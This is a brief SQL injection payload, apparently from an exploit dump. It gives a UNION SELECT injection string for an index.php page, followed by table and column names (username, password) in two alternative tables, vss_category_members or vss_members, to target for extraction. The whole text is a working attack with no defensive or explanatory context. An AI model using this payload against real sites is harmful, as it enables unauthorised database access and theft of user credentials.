/index.php?pageId=100&id=-999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

vss_category_members:id
vss_category_members:category_path
vss_category_members:category_name
vss_category_members:username
vss_category_members:last_update
vss_category_members: password
либо:
vss_members:id
vss_members:category_path
vss_members:category_name
vss_members:username
vss_members:last_update
vss_members: password